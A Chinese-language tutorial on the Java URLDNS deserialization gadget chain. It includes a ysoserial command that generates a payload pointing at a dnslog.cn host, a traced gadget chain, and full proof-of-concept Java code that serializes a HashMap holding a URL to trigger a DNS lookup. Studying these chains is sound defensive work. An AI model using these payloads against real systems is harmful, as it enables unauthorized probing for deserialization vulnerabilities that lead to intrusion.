URLDNS利用链
URLDNS利用链特点:
- 使用Java内置的类构造,对第三方库没有依赖
- 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
- 比CommonCollection简单更容易上手
我们可以构造一个反序列化点:
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Helloworld{
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("yso.bin"));
ois.readObject();
}
}
使用新下载的jar包生成反序列化payload:
java -jar ysoserial-master-d367e379d9-1.jar URLDNS "http://kopboi.dnslog.cn" > yso.bin
运行即可看到dnslog的请求记录;
在Hashmap类的readObject方法putVal()处下断点:
最终在这里产生了DNS请求
Gadget:
HashMap.readObject->HashMap.hash()->URL.hashCode()->URLStreamHandler.hashCode()->URL.getHostAddress()->InetAdress.getByName()
但是如果是使用ysoserial生成反序列化数据的话,为啥不会产生DNS请求呢?
原因是在实例化URL类的时候,在这里handler传入了自定义的handler,这里面重写了getHostAddress()
所以不会产生DNS请求
在getHostAddress
方法的时候就会直接return null
poc
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.util.Base64;
public class urldns {
public static void main(String[] args) throws Exception {
URLStreamHandler handler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u){
return null;
}
};
HashMap hm = new HashMap();
URL url = new URL(null,"http://114.hsr2k5.dnslog.cn\n",handler);
hm.put(url,url);
//Reflections.setFieldValue(url,"hashCode",-1);
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hm);
oos.close();
//序列化流写入文件
try
{
FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(hm);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in D:\\tmp\\e.ser");
}catch(IOException i)
{
i.printStackTrace();
}
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}